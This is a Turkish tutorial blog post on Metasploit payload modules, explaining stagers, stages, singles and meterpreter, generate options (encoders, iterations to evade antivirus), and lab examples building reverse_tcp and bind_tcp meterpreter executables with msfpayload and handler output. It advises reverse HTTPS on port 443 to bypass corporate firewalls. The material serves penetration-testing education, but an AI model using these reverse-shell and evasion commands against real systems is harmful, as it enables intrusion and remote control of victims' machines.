Metasploit Anaçatısı: PAYLOAD Modülleri

Metasploit anaçatısı bir çok birleşenden oluşmuştur. Bu yazıda Metasploit Framework tarafından sunulan “payloads” modülleri incelenecektir.

Metasploit Framework, Kali Linux üzerinde “/usr/share/metasploit-framework” altında toplanmıştır.

cd /usr/share/metasploit-framework
ls -la

metasploit-fundamentals-payload-modules-01

 

Metasploit Framework Üzerindeki Payload Modülü

Zafiyet sömürüldükten sonra, ana çatı (framework) tarafından hedef sisteme gönderilen (uzak makinede çalışan), hedef sisteme sızmayı sağlayan ve istenilen işlemleri gerçekleştirmek için çalıştırılması istenen kod parçasıdır. Örneğin, bir servisin açığından faydalanarak sistemde kullanıcı oluşturulması, SYSTEM veya root hakları ile kabuk erişimi elde edilmesi, arka kapı açılması gibi işlemler payloadların kullanılması ile gerçekleştirilir. Veya hedef makine ile bağlantının gerçekleşmesi payloadlar ile gerçekleşir. Reverse shell (hedef makinenin, saldırganın makinesine bağlantı kurmasını sağlar), bind shell (saldırganın daha sonra bağlanması için, hedef sistemin dinlediği porta komut satırı bağlantısı (bind) kurulur) bağlantıyı kuran bazı payload çeşitleridir.

metasploit-fundamentals-payload-modules-02

 

Payload Modüllerinin Özellikleri

Payload modüllerinin temel özellikleri aşağıdaki gibi listelenebilir.

  • Payload modülleri, diğer modüllerden farklı olarak çalışma anında çeşitli bileşenlerin beraber çalışmasıyla oluşurlar.
  • Payload genellikle assembly dili kullanılarak geliştirilir.
  • Payload platform ve işletim sistemi bağımlıdır; Windows işletim sistemi için geliştirilen bir payload Linux işletim sistemleri için çalışmayabilir. Bunun yanında Windows 7 için hazırlanan bir payload Windows 8’de, 64 bit için hazırlanan bir payload 32 bit mimaride, SP1 için hazırlanan ise SP2’de çalışmayabilir.

 

Payload Grupları

Payload modülleri 3 grupta incelenebilir.

  • Stagers: Saldırgan ve hedef bilgisayarlar arasında ağ altyapısını kuran, küçük boyutlu olan ve sağlam olmak zorunda olan payload’lardır. Bağlantı kurulurken küçük boyuttaki kodlar kullanılır, bağlantı kurulduktan sonra büyük boyuttaki kodlar kullanılarak modül ve payload’lar hedef sisteme yollanmaktadır. Metasploit alt yapısı barındırdığı benzer payload’lardan en iyisini kendi içerisinde seçer ve bağlantıyı seçtiği en uygun payload ile kurar. Örnek: bind_tcp, reverse_tcp, bind_http(s), reverse_http(s), …

metasploit-fundamentals-payload-modules-03

  • Stages: Stagers payload’lar tarafından hedef sisteme yüklenen ve asıl işlemleri gerçekleştiren payload bileşenleridir. Saldırganın hedef bilgisayarda komut çalıştırması veya saldırganın hedef bilgisayardan dosya alması, … gibi işlemler için kullanılan shell (ipwn, http,…), meterpreter, VNC Injection birer stages payloadlardır. Single payload’lardan daha karmaşık işlemleri gerçekleştirirler.

metasploit-fundamentals-payload-modules-04

  • Singles (Inline / Non Staged): Tek başlarına çalışan, hem bağlantıyı sağlayan hem de hedef bilgisayarda basit işlemler gerçekleştiren payload’lardır. Stagers ve Stages payload’larının birleşimi olarak düşünülebilir. Örnek: Hedef sisteme kullanıcı ekleme (adduser), hedef sisteme bağlantı kurma (shell_bind_tcp), hedef sistemde kod çalıştırma (exec), hedef sistemde bir prosesi (explorer.exe gibi) öldürme, hedef sistemin kayıt defterinde değişiklik gerçekleştirme, ….

metasploit-fundamentals-payload-modules-05

Payload adına bakılarak payload kategorisi anlaşılabilmektedir. Payload adında “/” yoksa single; varsa ilk değer stage ve ikinci değerse stager bilgisini verir. Örneğin; “windows/shell_bind_tcp” için single payload, “windows/shell/bind_tcp” için stager (bind_tcp) ve stage (shell) içeren bir payload modülü olduğu söylenebilir.

 

Payload Türleri

Metasploit anaçatısında bulunan en önemli payload türleri aşağıdaki gibidir:

  • Inline (Non staged): Belirli işlevi yerine getiren single payload’dur.
  • Staged: Belirli bir işlevi yerine getirmek için stage payload’lar ile birlikte çalışan stager payload’lardır.
  • Meterpreter (Meta-Interpreter): Hedef sistemin belleğinde çalışan, diskinde iz bırakmayan ve DLL enjeksiyonu yolu ile hedef bilgisayarda betik veya komutların çalışmasını sağlayan oldukça gelişmiş bir payload türüdür.
  • PassiveX: IE uygulamasında etkin olarak bırakılmış olan ActiveX kontrollerini kullanarak HTTP üzerinden komut çalıştırmaya yarayan ve firewall gibi ağ cihazlarının atlatılmasında kullanılan payload türüdür.
  • NoNX (No eXecute): DEP (Data Execution Prevention – RAM üzerinde gerçekleşen işlemleri kontrol ederek, saldırıları önler) koruma mekanizmasını atlatmak için kullanılan payload türüdür.
  • Ord: Her dildeki ve platformdaki Windows işletim sistemlerinde çalışan küçük boyutlu payload türleridir. Ancak exploit işlemi öncesinde prosese ws2_32.dll yüklenmesini beklediği için ve diğer payload türlerine göre daha az sağlam (stable) olduğu için çok de tercih edilmezler.
  • IPV6: Ipv6 ağlarında kullanılan payload türleridir.
  • Reflective DLL enjeksiyonu: Stage payload’un diskte değil RAM üzerinde işlem gördüğü VNC ve Meterpreter payload’larının da kullandığı tekniktir. Ayrıntılı bilgi için bakınız.

 

Payload Kullanımı

Payload belirlemek için “set” komutu kullanılabilir.

metasploit-fundamentals-payload-modules-06

 

Payload Oluşturma

Metasploit ana çatısı, exploit geliştiricilerine daha esnek bir ortam sağlamak için mevcut payload modülleri haricinde payload’ların üretilmesine de olanak sunar. Payload işlemleri msfconsole üzerinde gerçekleştirilebilir.

 

Payload Parametreleri

MsfConsole komut satırında payload işlemleri için kullanılabilecek önemli parametreler aşağıdaki gibi listelenebilir:

  • use <PayloadAdi>: Belirtilen payload’u kullanır.
  • generate <Secenekler>: Belirtilen payload’u üretir.

metasploit-fundamentals-payload-modules-07

 

MSF “generate” Komutunun Parametreleri

MsfConsole arayüzünde payload üretimi için “generate” sonrası kullanılabilecek önemli parametreler aşağıdaki gibi listelenebilir:

  • -h: Yardımcı dokümantasyon sunar.
  • -b <IstenmeyenKarakterler>: Payload içerisinde belirtilen karakteler kullanılmadan payload üretilir. Payload üretimi sırasında payload boyutu artış göstermekte ve otomatik olarak en uygun kodlayı (encoder) ile kod karıştırılmaktadır. Ancak istenmeyen karakter çok fazla ise bir payload üretimi gerçekleşmeyebilir. Bu durum sesli harf kullanmadan cümle oluşturmaya benzetilebilir.
  • -e <KodlayiciAdi>: Belirli bir kodlayıcı kullanılarak payload üretilir. Farklı bir encoder kullanımında payload boyutu artacaktır.
  • -f <DosyaAdi>: Payload bir dosyaya kaydedilir.
  • -i <IterasyonAdedi>: Payload üretimi sırasında shellcode’un kaç iterasyon geçireceğini belirtir. Bu parametre ile payload boyutu artarken, antivirüsler tarafından yakalanması ise daha zor olacaktır. İterasyon adedi arttıkça payload boyutu artacaktır.
  • -o <Secenek=Deger>: Payload seçeneklerini değiştirerek payload kodunu üretir.
  • -t <Dil>: Payload kodunu Ruby dili yerine tercih edilen programlama dilinde (raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,aspx,war,psh,psh-net) formatlayarak oluşturur.
  • -s <KarakterAdedi>: Payload başlangıcına belirtilen karakter adedince boş karakter (NOP) ekleyerek payload üretir. Eklenen byte adedince payload boyunu artış gösterir.

 

Örnek Kullanımlar

MsfConsole arayüzü ile payload oluşturmak için kullanılabilecek bazı örnek komutlar aşağıdaki gibi listelenebilir.

  • msf payload(shell_bind_tcp) > generate -h
  • msf > use payload/windows/shell_bind_tcp
  • msf payload (shell_bind_tcp) > generate -b ‘x00x44x67x66xfa’
  • msf payload(shell_bind_tcp) > generate -b ‘x00x44x67x66’ -i 3
  • msf payload(shell_bind_tcp) > generate -b ‘x00’ -e x86/shikata_ga_nai -f /root/msf/filename.txt
  • msf payload(reverse_tcp) > generate -o LPORT=443,EXITFUNC=seh -b ‘x00xff’ -e x86/shikata_ga_nai -t java

metasploit-fundamentals-payload-modules-08

 

Reverse Payload Bağlantısı

Ters bağlantıda (Reverse Connection) Windows (192.168.2.182) makinenin herhangi bir portundan, Linux makinenin (192.168.2.97) belirtilen portuna (4567) bağlantı kurulur.

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.97 LPORT=4567 X > /root/Desktop/TersBaglanti.exe
msfcli exploit/multi/handler PAYLOAD=windows/meterpeter/reverse_tcp LHOST=192.168.2.97 LPORT=4567 E

Sonuç:

[*] Started reverse handler on 192.168.2.97:4567
[*] Starting the payload handler…
[*] Sending stage (769024 bytes) to 192.168.2.182
[*] Meterpreter session 1 opened (192.168.2.97:4567 -> 192.168.2.182:49159) at 2014-03-16 21:38:07 +0200

metasploit-fundamentals-payload-modules-09

Kurumlarda, kurum içine doğru belli IP adresleri (web sunucusu, mail sunucusu,… gibi) için izin vardır. Bunun yanında kurum içinden dışarıya doğru ise (genellikle) 80. ve 443. portlardan izin vardır. Bu sebeple, gerçekleştirilen sızma testlerinde (özellikle sosyal mühendislik sızma testlerinde) ters HTTPS bağlantısı oluşturabilecek Payload modülünün (windows/meterpreter/reverse_https) ve LPORT olarak da 443. port kullanılması tavsiye edilmektedir. Böylece, kurum dışına HTTPS bağlantısı oluşturularak saldırıyı gerçekleştiren sisteme bağlanılması sağlanabilmektedir. Şifreli trafiğin içeriği izlenmiyorsa (SSL/HTTPS Inspection gerçekleştirilmiyorsa) veya başka bir güvenlik önlemi yok ise, bağlantı başarıyla gerçekleştirilir.

 

Bind Payload Bağlantısı

Bind bağlantıda Linux (192.168.2.97) makinenin herhangi bir portundan daha sonra bağlantı kurmak için, Windows makinenin (192.168.2.182) dinlediği (ve belirtilen) portuna (7654) bağlantı kurulur.

msfpayload windows/meterpreter/bind_tcp LPORT=7654 X > /root/Desktop/DuzBaglanti.exe
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=192.168.2.182 LPORT=7654 E

Sonuç:

[*] Started bind handler
[*] Starting the payload handler…
[*] Sending stage (769024 bytes) to 192.168.2.182
[*] Meterpreter session 1 opened (192.168.2.97:56332 -> 192.168.2.182:7654) at 2014-03-16 21:04:33 +0200

metasploit-fundamentals-payload-modules-10

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.